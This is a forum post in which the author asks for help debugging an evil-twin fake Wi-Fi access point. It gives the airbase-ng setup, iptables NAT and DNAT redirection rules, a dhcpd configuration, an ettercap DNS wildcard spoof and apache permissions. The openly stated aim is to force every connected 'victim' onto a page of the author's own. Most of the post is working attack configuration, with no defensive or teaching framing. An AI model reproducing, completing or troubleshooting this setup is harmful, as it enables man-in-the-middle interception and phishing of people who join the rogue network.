HY GUYS
I want to show a page i have designed and stored in var/www directory when someone connects to my hotspot(fake ap) by eviltwin method...
I first create an ap by airbase-ng successfully and then assign at0 interface for it and set iptables and start dhcpd server as u c in the bottom ...
Code:
ifconfig at0 192.168.1.129 netmask 255.255.255.128
route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.43.17:80
iptables -t nat -A POSTROUTING -j MASQUERADE
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
/etc/init.d/isc-dhcp-server start
And I change the configs as u see in the bottom.
HTML Code:
/etc/dhcp/dhcpd.conf
---------------------------------------------------------------------------
authoritative;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128;
option broadcast-address 192.168.1.255;
option routers 192.168.1.129;
option domain-name-servers 8.8.8.8;
range 192.168.1.130 192.168.1.140;
}
---------------------------------------------------------------------------
2-gedit /etc/ettercap/etter.dns
--------------------------------------
* A 192.168.1.129
--------------------------------------
And also for apache configs i attached the apache2 directory ,plz download it and examine it...
I have set permission like the bottom:
Code:
-sudo adduser root www-data
-sudo chown root:www-data -R /var/www
-sudo chmod 0755 -R /var/www
-sudo chmod g+s -R /var/www
and then start apache server...
Problem: when someone connects to my fake accesspoint can't load any pages neither by entering 192.168.1.129 that i have set he can't see anything...
but in my machine by entering localhost or 192.168.1.129 i can see that page I designed...
So what can i do?
And also I want to redirect victim to the page in var/www by every URL that he enters in his browser...Whast should i do?
is there a problem with iptables?Or apache configs...Anyone can help me? ...I'll appreciate ur useful helps.